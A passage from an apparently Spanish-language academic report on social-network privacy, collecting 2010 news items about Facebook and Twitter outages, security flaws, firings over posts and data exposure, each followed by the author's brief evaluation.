mensajes enviados convirtió a Facebook y a los mensajes de error en la página de
inicio en trending topics mundiales.
Una hora después de iniciarse el fallo, el usuario Facebook twitteó el siguiente

texto: "Algunas personas no pueden conectarse por un problema con un proveedor
ajeno. Estamos trabajando para arreglarlo lo más rápido posible". Pero lo que en
un principio atribuyeron a una avería externa resultó ser un percance dentro de la
plataforma.
Página 328
sociales
Una vez solucionado el problema, uno de los ingenieros de Facebook colgó un largo
texto tratando de explicar el fallo: "El defecto principal que causó que la avería
fuese tan grave fue un manejo desafortunado de un error. Un sistema automático
para verificar valores de configuración acabó causando mucho más daño que lo que
arregló", escribía en la madrugada de ayer (por la tarde en la costa Oeste de
Estados Unidos) Robert Johnson. En la nota, el ingeniero explica que Facebook hizo
un cambio para intentar arreglar una copia de configuración que era
sistemáticamente catalogada de no válida. Los usuarios la detectaban y trataban de
arreglarla enviando una solicitud a la base de datos. Aunque el fallo se hubiese
solucionado, la persona no llegaba a saberlo por un problema añadido de caché, con
lo que las peticiones y los envíos se multiplicaban. "Entramos en un bucle que
imposibilitó que las bases de datos se recuperaran". La solución, señala el
ingeniero, fue desconectar Facebook para detener la avalancha sobre los servidores
y que se recuperaran. Robert Johnson finaliza diciendo que han desconectado el
sistema automático que causó la caída y que están buscando maneras alternativas de
manejar la incidencia. "Queremos que sepáis que nos tomamos muy en serio el
funcionamiento y la fiabilidad de Facebook", concluye.
La avería de este medio social se produce sólo días después de que miles de
usuarios de Twitter sufrieran un ataque por un virus que enviaba mensajes a otros
internautas sin querer o redireccionaba a diferentes Webs, incluyendo
páginaspornográficas.
Evaluación
Como todo sistema informático Facebook también tiene fallos de seguridad, parece imposible
que Webs como Facebook o Google se averíen, pero es así, así que viéndolo así, ¿quién nos
asegura que nuestra información está segura en los servidores de Facebook? Es decir, no solo
nos tenemos que preocupar de que la propia plataforma se apropie de nuestra información,
sino de que por fallos de seguridad, terceras personas lo hagan. Parece que en Internet ningún
dato está seguro.
Página 329
sociales
Un agente de policía es despedido por criticar su trabajo en la red social Facebook
20 MINUTOS.
Un agente de policía es despedido por criticar su trabajo en
la red social Facebook.
Fecha: 26.Sep.2010 - 10.17 h.
Web:http://www.20minutos.es/noticia/822885/0/policia/despedido/facebook/.
No es el primer caso que conocemos. A Dan Leona le despidieron del trabajo de sus
sueños por un comentario en Facebook, a Kimberley Swann le ocurrió lo mismopor
criticar su trabajo, un seguro dejó de pagar la baja por depresión a una joventras
ver sus fotos en esta red social, un sargento de Policía fue investigado por
unasfotos junto a unas jovencitas... y así, varios ejemplos, al que hay que sumar
esta semana el caso del agente de Policía Carl Boulter, despedido por hablar mal de
su trabajo en esta Web.
Acababa de recibir un galardón en su comunidad y todo parecía irle bien al agente

del cuerpo de policía de Warwickshire, Carl Boulter, de 47 años, hasta que un día
se le ocurrió decir en Facebook, que su trabajo le parecía una "gilipollez". No
debió gustarle la idea de realizar rondas en zonas rurales con el chaleco
antibalas puesto, algo que calificó como "estúpido". "Odio tener que llevar este
estúpido chaleco, en una zona donde nadie te va hacer nada", escribió. Remató el
comentario con "me gustaría encontrar otro trabajo, sacadme de este agujero", que
resultó definitivo.
Sus superiores calificaron el comentario como "inapropiado", lo que acabó con el

agente despedido.
Boulter, natural de Staffordshire, llevaba trabajando cinco años como oficial de
apoyo en la comunidad de Arley, donde había obtenido reconocimientos por su buena
labor. Al parecer, y según cuentan en Daily Mail, el agente, casado y con dos
hijos, pasaba por un mal momento personal cuando hizo ese comentario en Facebook.
"Estaba deprimido, no mencioné ningún nombre, ni hice comentario despectivo hacia

mi organización. Creo que se ha exagerado todo", dijo el propio Boulter, quien
añadió, en palabras recogidas por el citado medio, que "pensaba que su perfil era
privado y creo en la libertad de expresión, Me siento como si mi empleo no me
autorizase a tener opinión".
Evaluación
Son múltiples los casos de gente que pierde su trabajo debido a estas redes sociales. Parece
que no se debe mezclar la red social con la vida laboral, ya que nada es privado en Internet.
Aunque nuestro perfil sea privado como el de Carl, siempre va existir algún agujero para
acceder a nuestra información, por lo que comentarios, fotografías, videos, etc. siempre
pueden jugar en nuestra contra. El que Facebook se haga cada vez más popular, parece que
atenta contra nuestra libertad de expresión y el poder decir abiertamente lo que pensamos en
Internet, si no queremos perder nuestro trabajo o yendo más lejos, nuestra familia, hoy en día
no es posible, algo parecido a lo que puede ocurrir en la vida real.
Página 330
sociales
El ladrón más torpe del mundo anuncia sus hazañas por Facebook
TELECINCO.
El ladrón más torpe del mundo anuncia sus hazañas por
Facebook.
Fuente: INFORMATIVOS TELECINCO.
Fecha: 27.Sep.2010 - 08.53h.
Web:http://www.telecinco.es/informativos/internacional/noticia/100027548/El+ladron+mas
+torpe+del+mundo+anuncia+sus+hazanas+por+Facebook.
Es conocido por todos como '¿Dónde está Wally?' y considerado por muchos como el
peor ladrón del mundo. Ryan Homsley decidió jactarse de sus hazañas en Facebook y
publicó un mensaje en la red social anunciado que "ahora soy ladrón de bancos". A
la policía le costó poco seguirle la pista y detenerle.
Ilustración 102. Ryan Homsley publicó como foto de perfil una imagen de las cámaras de seguridad del banco que robó. Foto: Facebook.
Ryan Homsley, de 29 años de edad y apodad '¿Dónde está Wally?' por su parecido con el
personaje de cómic, fue detenido después de publicar un mensaje en la famosa red social
que decía "ahora soy ladrón de bancos", según informa el diario británico Dailly Mail.
El delincuente, además, decidió jactarse de sus hazañas y colgó en su perfil una foto
del circuito cerrado del banco que intentó robar en el que se le ve en el mostrador del
banco, con un jersey de rayas rojas y con unas gafas gruesas.
Homsley no escatima en detalles y cuenta que les dijo a los trabajadores del banco de
Tualatin, cerca de Portland, Oregon, que había una bomba.
La imagen de las cámaras de seguridad
Después del atraco, la policía encontró en la sucursal un mochila y una caja, pero
resultaron ser inofensivos.
Horas después del atraco de los mensajes comenzaron a aparecer en la página de Facebook
de Homsley atribuyéndole la responsabilidad por el delito.
Otra de las ideas que tuvo el delincuente fue colgar como imagen de perfil la
fotografía de las cámaras de vigilancia del banco que se habían remitido a los medios
de comunicación por la policía para que colaboraran con la detención del delincuente.
Robaba para conseguir medicinas
Según informa el diario británico, Homsley asegura en su perfil de Facebook, que hace
esto porque necesita dinero para comprar medicamentos. Al parecer, este hombre es
diabético y está desesperado por conseguir un tratamiento médico.
Ahora, dos días después del atraco, permanece detenido y recibiendo tratamiento
médico en el hospital.
Página 331
sociales
Evaluación
Un caso parecido a la anterior noticia. En este caso el protagonista no pierde su trabajo pero
acaba en comisaría.
Página 332
sociales
The Social Network (2010)
NEW YORK TIMES

The Social Network (2010)
Millions of Friends, but Not Very Popular

Fecha: 23 Sep 10
Web: http://movies.nytimes.com/2010/09/24/movies/24nyffsocial.html
What makes Mark Zuckerberg run? In ― The Social Network, ‖ David Fincher‘s fleet,
weirdly funny, exhilarating, alarming and fictionalized look at the man behind the
social-media phenomenon Facebook — 500 million active users, oops, friends, and
counting — Mark runs and he runs, sometimes in flip-flops and a hoodie, across
Harvard Yard and straight at his first billion. Quick as a rabbit, sly as a fox,
he is the geek who would be king or just Bill Gates. He‘s also the smartest guy in
the room, and don‘t you forget it.
The first time you see Mark (Jesse Eisenberg, firing on all cylinders), he‘s 19
and wearing a hoodie stamped with the word Gap, as in the clothing giant, but, you
know, also not. Eyes darting, he is yammering at his girlfriend, Erica (Rooney
Mara), whose backhand has grown weary. As they swat the screenwriter Aaron
Sorkin‘s words at each other, the two partners quickly shift from offline friends
to foes, a foreshadowing of the emotional storms to come. Soon Mark is back in his
dorm, pounding on his keyboard and inadvertently sowing the seeds of Facebook,
first by blogging about Erica and then by taking his anger out on the rest of
Harvard‘s women, whose photos he downloads for cruel public sport: is she hot or
not.
( ― The Social Network ‖ opens the 48th New York Film Festival on Friday and opens
in theaters next Friday.)
Although the names have remained the same, ― T he Social Network ‖ is less of a
biopic of the real Mr. Zuckerberg than a gloss on the boot-up, log-on, plug-in
generation. You don‘t learn much about him other than the headlines, beginning
with Facebook‘s less-than-humble start in 2003. Despite its insistently unsexy
moving parts (software, algorithms), the movie is paced like a thriller, if one in
which ideas, words and bank books blow up rather than cars. It‘s a resonant
contemporary story about the new power elite and an older, familiar narrative of
ambition, except instead of discovering his authentic self, Mark builds a
database, turning his life — and ours — into zeroes and ones, which is what
Evaluación
makes it also a story about the human soul.
Parece ser que esta película dedicada íntegramente a la creación de Facebook no le ha
convencido a nuestro amigo Mark que dice que no se ajusta a la realidad. Cuenta la biografía
de Zuckerberg a partir del 2003 y de una manera bastante crítica hacia este, ya que está
basada en el libro “Multimillonarios por accidente” de Ben Mezrich que narra el nacimiento de
Facebook.
Página 333
sociales
Publican los datos de 100 millones de usuarios de Facebook
20 MINUTOS.
Facebook abre el telón en Nueva York: The Social Network.
Fecha: 27.Sep.2010 - 15.46h.
Web:http://www.20minutos.es/noticia/777900/0/datos/perfiles/facebook/.
Desde hace unos meses, la seguridad de la red social con más usuarios del
mundo,Facebook, está en entredicho. Por ello, unconsultor especializadoen
seguridad en Internet, ha publicado un listado de los datos de100 millones de
usuariosde la red social en los que no se habían configurado los filtros de
seguridad. Para ello ha utilizando un código de programación para analizar los
perfiles de Facebook.
Ron Bowe señaló en su Weblogque halló un "angustioso problema de protección de

datos" en la red social propiedad deMark Zuckerberg, que negó todas las
acusaciones de desprotección del analista estadounidense.
La lista fue colgada en Pirata Bayy fue compartida por1.000 usuarios a través de
un torrent.
La red social, que recientemente celebró los500 millones de usuarios, afirma que
el listado yaestaba disponible en un directoriodonde se agrupan a todos los
usuarios que tienen el perfil abierto, aunque sea de manera parcial.
"Las personas que utilizan Facebook son dueñas de su información y tienen el

derecho de compartir sólo aquello que desean, con quien desean y cuando lo
desean", según el comunicado. "No hay datos privados disponibles o que hayan sido
comprometidos", agrega la empresa.
Evaluación
Los datos de perfiles que se han publicado en la Internet son de perfiles que estaban
configurados como “públicos” por lo que no parece que haya ningún delito a priori. Lo que si
nos hace pensar es si algún hacker fuera capaz de acceder a las bases de datos de Facebook y
hacerse con parte de la información y la publicase en Internet, entonces, ¿para qué sirve la
configuración de privacidad de Facebook? Llegamos a la conclusión de que no existe
privacidad en las redes sociales.
Página 334
sociales
15.2.9. Referencias
Webs:
Alexa: Facebook 2 Rank. http://www.alexa.com/siteinfo/facebook.com
Línea del tiempo de la compañía. http://www.facebook.com/press/info.php?timeline
¿Qué es Facebook? http://cartuchorom.blogspot.com/2010/01/que-es-facebook.html
Facebook.com Web Site Audience Profile. http://www.quantcast.com/facebook.com
Snapshot of Facebook.com. http://siteanalytics.compete.com/facebook.com/?metric=uv
Blogs:
Facebook noticias.http://www.facebooknoticias.com/
Adicctos al Facebook.http://adictosfacebook.com/
Otras noticias:
El 30% de los jóvenes tiene más de 200 amigos en Facebook
Fuente: La tercera
Fecha: 18.Oct.2009
http://www.latercera.com/contenido/659_192936_9.shtml.
Los ocho países donde Facebook no es el “rey” de las redes
Fuente: ABC
Fecha: 27.Sep.2010
http://www.abc.es/20100927/medios-redes/facebook-paises-sinpresencia-
201009271010.html.
Sincroniza los contactos de Facebook con el IPhone.
Fuente: PC Actual
Fecha: 27.Sep.2010
http://www.pcactual.com/Zona-Practica/Trucos/Sincroniza-los-contactos-de-
Facebook-con-el-iPhone-69013.
Facebook: Solicitudes de amistad ahora ya no se pueden ignorar
Fuente: Ultima Hora
Fecha: 26.Sep.2010
http://www.ultimahora.com/notas/362404-Facebook:-Solicitudes-de-amistad-ahora-
ya-no-se-pueden-ignorar
Un grupo anarquista cibernético turco 'hackea' Facebook en español
Fuente: 20 Minutos
Fecha: 27.Sep.2010
http://www.20minutos.es/noticia/779601/0/hacker/turco/facebook/.
Un grupo anarquista cibernético turco 'hackea' Facebook en español
Fuente: 20 Minutos
Fecha: 27.Sep.2010
http://www.20minutos.es/noticia/779601/0/hacker/turco/facebook/.
Facebook cede a las presiones instalando un 'botón del pánico' para menores.
Fuente: 20 Minutos
Fecha: 27.Sep.2010
http://www.20minutos.es/noticia/762906/0/facebook/boton/panico/.
Página 335
sociales
Google prepara su propio Facebook: Google Buzz.

Fuente: 20 Minutos
Fecha: 27.Sep.2010
http://www.20minutos.es/noticia/750997/0/google/facebook/.
Comprueba cuál es tu nivel de privacidad en Facebook por medio de una aplicación
Web. (http://www.profilewatch.org).
Fuente: 20 Minutos
Fecha: 27.Sep.2010
http://www.20minutos.es/noticia/720163/0/facebook/perfil/privacidad/.
Facebook lanza una guía para configurar la privacidad, "pero no es suficiente".
Fuente: 20 Minutos
Fecha: 27.Sep.2010
http://www.20minutos.es/noticia/721346/0/facebook/privacidad/guia/.
Un nuevo virus busca las claves secretas de los usuarios de Facebook.
Fuente: 20 Minutos
Fecha: 27.Sep.2010
http://www.20minutos.es/noticia/654940/0/virus/facebook/claves/.
Facebook defiende que el control de la privacidad en su red es cosa de los usuarios
Fuente: 20 Minutos
Fecha: 27.Sep.2010
http://www.20minutos.es/noticia/560975/0/facebook/privacidad/usuarios/.
Usuarios demandan a Facebook por sus políticas de protección de datos
Fuente: 20 Minutos
Fecha: 27.Sep.2010
http://www.20minutos.es/noticia/500400/0/facebook/proteccion/datos/.
Página 336
sociales
15.3. Twitter
Ilustración 103. Logotipo de Twitter.
“Twitter es una red de información de tiempo real motorizada por gente alrededor del mundo
que permite compartir y descubrir lo que está pasando en este momento” según nos
comentan en su Web oficial.
“Twitter pregunta "¿Qué pasa?" y hace que la respuesta se propague a través del mundo a
millones, inmediatamente”.
Al igual que Facebook ha cambiado el estilo de vida de muchas personas, también lo ha hecho
Twitter. Es una red social más aceptada en Estados Unidos que en España, pero poco a poco
se va introduciendo cada vez.
Página 337
sociales
Según Alexa.com Twitter alcanza el puesto número 7 en el ranking de las páginas con más
número de visitas en el mundo entero y el puesto 9 en Estados Unidos. En España Twitter
alcanza el puesto 12. Recordemos que el primer puesto es para Google y el segundo para
Facebook http://www.alexa.com/siteinfo/twitter.com.
Ilustración 104. Twitter alcanza el puesto 7 en el ranking de visitas por alexa.com.
Podemos escribir tweets desde la propia Web de Twitter o desde aplicaciones ajenas, incluso
desde Facebook y Tuenti.
15.3.2. ¿Qué es?

La página oficial de Twitter es www.twitter.com y su página en español www.twitter.es.
Se trata de una red social gratuita, que requiere previo registro. Para el registro necesitaremos
dar datos personales como el nombre, apellidos y cuenta de correo electrónico.
Se trata de un servicio de microblogging que permite enviar a los usuarios pequeñas entradas
de 140 caracteres como máximo. Las actualizaciones se muestran en nuestro perfil, y en el
perfil de la gente que ha decidido seguirnos.
La red social está limitada a mayores de 13 años en España.
El contenido de los tweets publicados en la red es el siguiente:
Página 338
sociales
Ilustración 105. Contenido de los tweets.
Según la empresa Pear Analytics, en un análisis que realizado en Agosto de 2009, el 41% de
los tweets se trataba de Pointes Babble (Palabras sin Sentido), seguido de un 33% para
Controversial (Mensajes de Conversación), un 9% para retweets, 6% para Self-promotion
(Autopromoción), 3,75% para Spam (Correo Basura) y un 3,6% para News (Noticias).
15.3.3. Historia
En marzo de 2006 Twitter se creó como un proyecto de investigación de Obvius, LCC. En un
principio se creó de manera interna para la empresa, pero posteriormente se lanzó al mercado
y poco a poco fue ganando usuarios.
El padre de Twitter es Jack Dorsey antiguo trabajador de Obvius, LCC y actual Presidente del
Consejo de Administración de Twitter, Inc. La compañía se fundó junto a Jack Dorsey por Biz
Stone y Evan Williams y se ha financiado principalmente mediante capital riego.
En noviembre de 2009, Twitter salió a Internet en español, francés, italiano y alemán.
15.3.4. Tecnología
La tecnología que sigue Twitter es Ruby on Rails, aunque están pensando abandonar esta
tecnología debido a los problemas de seguridad actuales y desarrollarlo de nuevo basándose
en Java o PHP. Los tweets se mantienen en servidores que corren bajo software programado
en Scala y el API de Twitter es completamente libre para poder integrar Twitter en cualquier
aplicación que deseen los desarrolladores.
Página 339
sociales
La interfaz de Twitter es muy sencilla y fácil de usar.
15.3.5. Críticas
El principal problema de Twitter actualmente son sus medidas de seguridad. En septiembre
de 2010 se introdujo un gusano en la red llamado Rainboww. Este gusano explota una
vulnerabilidad de Cross-Site Scripting robando las cookies de los usuarios y afecta a la gente
que accede directamente desde la Web oficial twitter.com. El gusano hace que escribamos
una cadena de caracteres a modo de tweet que nos redirigirá a una Web externa donde se
podría ejecutar código malicioso. Para más información ver la noticia “Twitter ‘se vuelve loco’
por culpa de una vulnerabilidad potencialmente peligrosa”.
Sobre todo hay que tener cuidado a la hora de acceder a Webs externas a la red, porque no
sabemos donde podrían llevarnos si no sabes de qué se trata esa Web.
Ilustración 106. Aplicación externa a Twitter.
Twitter también ha sido criticado por sus términos de uso y de privacidad de la red. Al igual
que Facebook, toda la información de Twitter se envía y se procesa en Estados Unidos, bajo
legislación americana. Twitter declara en sus términos de uso que no solo registrara nuestros
datos personales que incluyamos en la red como nuestro teléfono móvil, sino que también
registrará la IP desde la que nos conectamos y el tipo de navegador con los favoritos, páginas
que visitamos o búsquedas, tengan que ver con Twitter o no, así declara:
“Log Data When you visit the Site, our servers automatically record information that your
browser sends whenever you visit a Website ("Log Data”). This Log Data may include
information such as your IP address, browser type or the domain, from which you are visiting,
the Web-pages you visit, the search terms you use, and any advertisements on which you
click. For most users accessing the Internet from an Internet service provider the IP address
will be different every time you log on. We use Log Data to monitor the use of the Site and of
our Service, and for the Site"™s technical administration.”
15.3.6. Privacidad en Twitter

Twitter al igual que Facebook, permite configurar nuestra privacidad para que sólo vean
nuestros tweets quién nosotros permitamos.
Página 340
sociales
Ilustración 107. Privacidad de nuestros tweets.
Página 341
sociales
15.3.7. Noticias
Veamos las noticias relacionadas con Twitter.
Nueva invasión de mensajes en Twitter
EL PAÍS.
Nueva invasión de mensaje en Twitter.
Fuente: EL PAÍS.
Fecha: 27.Sep.2010
Web:http://www.elpais.com/articulo/tecnologia/Nueva/invasion/mensajes/Twitter/elpepute
c/20100927elpeputec_1/Tes.
La vulnerabilidad de la red ha permitido publicar mensajes sobre zoofilia sin

permiso de los usuarios.- El problema se ha resuelto en una hora.
Ocurrió a última hora de ayer. El error duró menos de una hora pero no evitó el
bochorno de los usuarios de Twitter, que veían cómo perdían el control de su
cuenta y se sucedían los mensajes declarando su gusto por la zoofilia una y otra
vez.
Según Twitter el error se solventó rápidamente y se procedió a borrar los twitts

ofensivos. Al mismo tiempo aclaró que no se trató tanto de una acción de hackeo
como del aprovechamiento de una vulnerabilidad. Al hacer clic en mensajes que
empezaban por WTF (siglas que se usan en la red para indicar sorpresa) comenzaba
el calvario. Una y otra vez se enviaba el mensaje de dudoso gusto.
Como suele ser habitual en estos casos, la propia comunidad ha compartido consejos
e información para minimizar los efectos del ataque. Así, como remedio temporal,
se multiplicó la recomendación de que en caso de ser afectado, se debía entrar en
configuración, escoger conexiones y quitar el acceso a la publicación a cualquier
aplicación de terceros que resultase sospechosa.
Este es el segundo ataque grave que sufre Twitter en menos de una semana. El
motivo puede estar en una de las últimas decisiones tomadas por el servicio a raíz
de su rediseño y que tiene que ver con los enlaces acortados. Se crearon, en un
principio, para aprovechar mejor los 140 caracteres que permite cada envío. Sin
embargo, son cada vez más una fuente de problemas de seguridad. Así, Twitter ha
decidido que pronto sólo aceptará aquellos acortados por su servicio oficial, los
que son del tipo t.co.
Evaluación
Es un fallo de seguridad bastante grave que atenta contra la imagen de los usuarios de
Twitter, ya que se podrían publicar en nuestro perfil de Twitter mensajes que no deseamos de
manera involuntaria, y lo que es peor, que estos mensajes son ofensivos para el resto de
usuarios.
Ya son varios fallos de seguridad continuados, la siguiente noticia relata otro más grave y
anterior, pero prácticamente ocurridos en la misma semana.
Página 342
sociales
Chinese Woman Imprisoned for Twitter Message

NEW YORK TIMES.
Chinese Woman Imprisoned for Twitter Message
Fecha: 18.Nov.2010
Web:http://www.nytimes.com/2010/11/19/world/asia/19beijing.html?scp=3&sq=twitter&st=cse
A Chinese woman was sentenced to one year in a labor camp on Wednesday after she
forwarded a satirical microblog message that urged recipients to attack the
Japanese Pavilion at the Shanghai World Expo, human rights groups said Thursday.
The woman, Cheng Jianping, 46, was accused of ― disturbing social order ‖ for
resending a Twitter message from her fiancé that mocked young nationalists who
held anti-Japanese rallies in several cities last month. The original message
sarcastically goaded protesters to go beyond the smashing of Japanese products and
express their fury at the heavily policed expo site.
Ms. Cheng added the words: ― Charge, angry youth. ‖
Ms. Cheng was seized last month in the southeastern city of Wuxi on the same day
as her fiancé, Hua Chunhui. Mr. Hua, who was released five days later, told
reporters the two had planned to marry on the day of their detention.
Under China‘s legal system, the police can send people to so-called re-education
through labor for up to four years without trial. The system, thought to
accommodate as many as 300,000 detainees, has been criticized by legal reformers
who say it is easily abused. Such labor centers are largely populated by
pickpockets, drug users and prostitutes, but are also used as a punishment for
those guilty of political offenses. Once sentenced, people have little chance of
appeal.
Widely known by the online name Wang Yi, Ms. Cheng is avidly followed by a small
coterie of Chinese intellectuals who subscribe to Twitter, which is blocked in
China but can be reached by those willing to burrow beneath the government‘s
firewall. Most recently Ms. Cheng sent out messages praising the decision to award
the Nobel Peace Prize to the imprisoned rights activist Liu Xiaobo. Last August,
she was briefly detained after expressing sympathy for a detained democracy
advocate, Liu Xianbin.
(...)
Evaluación
Vemos como una mujer de 46 años en china es condenada a un año en el campo de trabajo
por re-twittear un mensaje en contra de las manifestaciones anti-japonesas realizadas por los
nacionalistas. Pero esto no solo quedo aquí sino que incito a estos manifestantes yendo más
allá de romper productos de origen japonés.
Página 343
sociales
Twitter 'se vuelve loco' por culpa de una vulnerabilidad potencialmente peligrosa
20 MINUTOS.
Twitter “se vuelve loco” por una vulnerabilidad potencialmente peligrosa
Fuente: 20 MINUTOS/D.G./AGENCIAS
Fecha: 21.Sep.2010
Web:http://www.20minutos.es/noticia/820340/0/twitter/ataque/mensajes/
En la mañana del martes, los usuarios de Twitter comenzaron a ver cómo la popular
red de microblogging 'se volvía loca' enviando mensajes incomprensibles de forma
imparable mientras varias páginas Web anunciaban el "mayor ataque pirata" sufrido
por Twitter de su historia.
En las primeras horas de la tarde, la red social anunciaba en su pantalla de

"estado" que el problema había sido solucionado completamente: "Hemos identificado
el ataque y está resuelto".
El problema se debía, según explicaron en CNET, a una vulnerabilidad que permitía

que, al introducir algo de código JavaScript en una URL tuiteada, se generara un
mensaje especial. Una vez que otro usuario pasara el ratón por encima de dicho
mensaje, se abría un 'pop up' sin necesidad de hacer clic y además volvía a
reenviarse, por lo que podía propagarse a gran velocidad.
Otro efecto del ciberataque era que, al entrar en la Web, la imagen quedaba
congelada con varios colores y empezaba a redirigir a los internautas a otros
sitios, entre ellos páginas de contenido pornográfico.
Al parecer, hasta el momento sólo se ha explotado esta vulnerabilidad por pura

diversión, como gamberrada, pero los expertos advierten de que puede ser empleada
por spammers y por crackers para distribuir contenidos maliciosos.
Sin cambiar contraseñas
Twitter advirtió de que los usuarios "podrían todavía ver 'retweets' (mensajes
reenviados) extraños en sus cuentas por el fallo", pero cree que no puede dañar
los equipos o cuentas de los usuarios. La empresa aclaró que "no hay necesidad de
cambiar las contraseñas" de la cuenta.
El origen del problema podría estar relacionado con un gusano que activó un
programador noruego, Magnus Holm, según informó el diario The New York Times, que
cita los propios mensajes del usuario. Holm explicó que lanzó el primer "gusano",
un programa malicioso que se multiplica, porque "quería experimentar con el fallo"
que ya otros habían explotado antes.
Twitter señaló también que el fallo se había detectado ya el pasado mes, pero
unaactualización de su Web lo activó de nuevo de manera no intencionada.
El ataque afectó a las cuentas de miles de usuarios, entre ellos el portavoz de la

Casa Blanca, Robert Gibbs, o Sarah Brown, esposa del ex primer ministro británico,
Gordon Brown.
Evaluación
Se trata de una vulnerabilidad de Cross-site scripting bastante grave ya que el que al pasar el
ratón por encima de los tweets nos permite hacer clic y que se nos envié a otras Webs podría
hacer que se ejecutara código maligno en nuestro PC.
Página 344
sociales
Twitter almacenará y analizará los enlaces que se publiquen en su

red.
EL PAÍS
Twitter almacenará y analizará los enlaces que se publiquen en su red
En la propia red social, internautas muestran su temor a que se pueda vulnerar la privacidad
Fuente: EL PAÍS.
Fecha: 2.Sep.2010
Web:http://www.elpais.com/articulo/tecnologia/Twitter/almacenara/analizara/enlaces/publiquen/red/elpeputec/20100902elp
eputec_2/Tes
Twitter ha anunciado que almacenará y podrá analizar todos los enlaces que se
incluyan en los mensajes de la red social. Twitter empleará para ello su sistema
t.co que reduce la extensión de las direcciones de los enlaces que se adjuntan
para su publicación en los mensajes de la red. En el propio Twitter ya han
aparecido comentarios de internautas preocupados por lo que puede suponer esta
práctica de vulneración de la privacidad.
El conocimiento por parte de Twitter de los enlaces más populares puede ayudar a
la empresa a refinar sus recomendaciones y mejorar su programa publicitario de
tweets promocionales. Fuentes de Twitter alegan que este sistema permitirá mejorar
la detección y prevención de enlaces maliciosos. De hecho, permitirá, según la
compañía, analizar de forma automática los enlaces incrustados para comprobar que
no conduzcan a páginas que alberguen programas maliciosos. En este caso, se
anulará el enlace.
Sin embargo, la centralización de estos datos también preocupa desde otro frente,
el de la seguridad. Un fallo de seguridad permitiría obtener a terceros
información sobre quién clica y qué clica.
En un correo a los usuarios más entusiastas de Twitter, entre los que se

encuentran los traductores voluntarios, la compañía ha explicado que a partir de
los próximos días la forma de uso de algunas aplicaciones de uso de la red social
de terceros dejarán de funcionar como hasta ahora. Al menos la gestión de permisos
Evaluación
de publicación de mensajes desde TweetDeck, Seesmic, EchoFon y Foursquare..
Los recientes fallos de seguridad y continuos que ha sufrido Twitter preocupan a sus usuarios.
Página 345
sociales
15.3.8. Referencias
Webs:
Alex: Twitter 10 Rank: http://www.alexa.com/siteinfo/twitter.com
Twitter in Plain English: http://www.youtube.com/watch?v=ddO9idmax0o
List of Twitter services and applications:
http://en.wikipedia.org/wiki/List_of_Twitter_services_and_applications
How Twitter has born: http://www.140characters.com/2009/01/30/how-twitter-
was-born/
Historias de Twitter: http://www.cad.com.mx/historia_de_twitter.htm
Blogs:
Mundo Twitter: http://mundotwitter.es/
Twitter blog: http://blog.twitter.com/
Es Twitter: http://estwitter.com/
Otras noticias:
Twitter valdría ya 4.000 millones de dólares, según TechCrunch.
o Fuente: Europa Press
Fecha: 1.Dic.2010
http://www.europapress.es/economia/noticia-economia-telecos-twitter-
valdria-ya-4000-millones-dolares-techcrunch-20101201113519.html.
MahTweets, aplicación para Twitter con notificaciones push en Windows Phone 7.
o Fuente: Gizmóvil
Fecha: 29.Nov.2010
http://gizmovil.com/2010/11/mahtweets.
El «Twitter español» redefinirá el concepto de «microblogging».
o Fuente: La Razón
Fecha: 27.Nov.2010
http://www.larazon.es/noticia/5257-el-twitter-espanol-prepara-un-cambio-
que-redefinira-el-microblogging.
Cómo hallar trabajo en Twitter.
o Fuente: La Gaceta
Fecha: 20.Nov.2010
http://www.lagaceta.com.ar/nota/410604/Econom%C3%ADa/Como-hallar-
trabajo-Twitter.html.
Cara a cara en la era Twitter.
o Fuente: La Vanguardia
Fecha: 23.Oct.2010
http://www.lavanguardia.es/lv24h/20101123/54073738379.html.
Famosos le dicen adiós a Twitter.
o Fuente: El Universo
Fecha: 30.Nov.2010
Página 346
sociales
http://www.eluniverso.com/2010/11/30/1/1379/famosos-le-dicen-adios-
twitter.html?p=1354&m=27.
Twitter ya tiene su servicio de estadísticas.
o Fuente: ABC
Fecha: 18.Nov.2010
http://www.abc.es/20101118/medios-redes/twitter-analitycs-
201011181832.html.
El desafío de Twitter: La personalización, según su cofundador.
o Fuente: PC World
Fecha: --
http://www.pcwla.com/pcwla2.nsf/articulos/71757704D018AA94852577EA007
21D14.
La actividad mundial de Twitter en un día.
o Fuente: ABC
Fecha: 26.Nov.2010
http://www.abc.es/20101126/medios-redes/actividad-mundial-twitter-
201011261156.html.
Página 347
sociales
Capítulo 16
Anexos
Anexo A: Your Apps Are Watching You
"In the world of mobile, there is no anonymity"
Una investigación del The Wall Street Journal 62 (WSJ) muestra que las aplicaciones
desarrolladas para IPhone y Android violan la privacidad de los usuarios de estos
smartphones.
Hay pocos dispositivos que muestren más información sobre datos personales que los propios
teléfonos inteligente conteniendo información sobre el número de teléfono, la localización, el
nombre real del propietario y el ID del teléfono que es único y no existe la posibilidad de
cambiarlo o desactivarlo. Estos dispositivos están constantemente de manera regular
transmitiendo este tipo de información a través de sus aplicaciones.
Al examinar un total de 101 aplicaciones para estos teléfonos, tanto para Iphone como para
aplicaciones Android, se ha encontrado que 56 de ellas transmite el ID único del smartphone
sin el conocimiento de los propietarios. Un total de 47 de ellas transmiten la localización de
alguna manera y 5 de ellas envían datos sobre edad, sexo y otros datos personales a terceros.
Podemos ver el esfuerzo intrusivo de las empresas para recopilar información personal con el
fin de almacenar esta información detallada en sus bases de datos.
Las aplicaciones comparten la mayoría de esta información personal, incluyendo la aplicación

“TextPlus 4” para enviar mensajes de texto entre teléfonos Iphone. Esta aplicación envía el ID
